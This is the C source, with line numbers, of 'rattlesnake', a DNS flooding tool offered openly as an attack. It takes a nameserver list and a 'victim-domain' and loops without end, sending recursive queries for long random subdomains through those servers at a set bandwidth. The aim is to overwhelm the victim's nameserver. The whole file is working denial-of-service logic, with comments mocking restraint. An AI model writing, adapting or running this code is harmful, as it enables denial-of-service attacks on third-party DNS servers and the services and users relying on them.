12#include <sys/types.h>
13#include <netinet/in.h>
14#include <time.h>
15#include <stdlib.h>
16#include <stdio.h>
17#include "common.h"
18#include "network.h"
19#include "dns-build.h"
20#include "dns.h"
21#include "io-udp.h"
22
23
24int usage (char *program);
25int rattle (char *domain_victim);
26
27char * ns_domain;
28char * ip_local = NULL;
29int ns_count,
30 ns_walker = 0;
31char ** ns_list = NULL;
32int speed;
33int sd_len = 340;
34
35
36int
37usage (char *program)
38{
39 printf ("usage: %s <ns-list> <victim-domain> <bandwidth> [sdlen]\n\n"
40 "ns-list file with a nameserver list\n"
41 "victim-domain the domain that references to our victim ip\n"
42 "bandwidth bandwidth in kbps that we should utilize, the higher the lamer\n"
43 "sdlen subdomain length as in <sdlen>.<victim-domain>\n"
44 " default is 340 (1-400 makes sense)\n\n",
45 program);
46
47 exit (EXIT_FAILURE);
48}
49
50
51int
52main (int argc, char **argv)
53{
54 printf ("rattlesnake "VERSION" by "AUTHORS"\n\n");
55
56 if (argc < 4 || argc > 5)
57 usage (argv[0]);
58 if (argc == 5 && sscanf (argv[4], "%d", &sd_len) != 1)
59 usage (argv[0]);
60
61
62 ip_local = net_getlocalip ();
63
64 ns_list = file_read (argv[1]);
65 if (ns_list == NULL) {
66 fprintf (stderr, "failed to open nameserver list file %s\n", argv[1]);
67 exit (EXIT_FAILURE);
68 }
69 for (ns_count = 0 ; ns_list[ns_count] != NULL ; ++ns_count)
70 ;
71 if (ns_count == 0) {
72 fprintf (stderr, "come on boy, you must at least supply one nameserver\n");
73 exit (EXIT_FAILURE);
74 }
75
76 if (sscanf (argv[3], "%d", &speed) != 1)
77 usage (argv[0]);
78
79 printf ("[ns] querying below %s through the help of %d nameservers at %d kbps\n",
80 argv[2], ns_count, speed);
81 printf ("===============================================================================\n");
82
83 srandom (time (NULL));
84
85 rattle (argv[2]);
86
87 exit (EXIT_SUCCESS);
88}
89
90
91int
92rattle (char *domain_victim)
93{
94 dns_pdata * dp;
95 char * querydomain;
96 char * querydomain2;
97 struct timeval tv_start;
98 unsigned long long int size_send = 0;
99
100 gettimeofday (&tv_start, NULL);
101
102 while (1) {
103 unsigned long long int sleeptime;
104 struct timeval tv_now;
105
106 /* construct query domain, slow
107 */
108 dp = dns_build_new ();
109 querydomain = dns_build_random (domain_victim, 32);
110 while (strlen (querydomain) < sd_len) {
111 querydomain2 = dns_build_random (querydomain, 32);
112 free (querydomain);
113 querydomain = querydomain2;
114 }
115
116 /* now build DNS packet
117 */
118 dns_build_q (dp, querydomain, T_A, C_IN);
119 dns_packet_send (ip_local, ns_list[ns_walker], m_random (1024, 65535), 53,
120 m_random (1, 65535), DF_RD, 1, 0, 0, 0, dp);
121 dns_build_destroy (dp);
122
123 size_send += strlen (querydomain) + sizeof (ip_hdr) +
124 sizeof (udp_hdr) + sizeof (dns_hdr);
125 free (querydomain);
126
127 /* eye candy
128 */
129 printf (".");
130 fflush (stdout);
131
132 /* next server
133 */
134 ns_walker++;
135 ns_walker %= ns_count;
136
137 /* if you get fucked up here it's because you've packeted too
138 * much, so bugger off and don't be a wussy
139 */
140 do {
141 /* some people might think now that a sleeptime approach
142 * is better here, but in this case a mixture of polling
143 * and time calculation is better for equal spreading of
144 * the packets being send
145 */
146 usleep (5000); /* don't poll too fast */
147 gettimeofday (&tv_now, NULL);
148 sleeptime = tv_now.tv_sec - tv_start.tv_sec;
149 sleeptime *= 1000000;
150 sleeptime += ((tv_now.tv_usec + 1000000) - tv_start.tv_usec) % 1000000;
151 } while (((sleeptime * speed) / 7812) < size_send);
152 }
153
154 return (1);
155}
156
157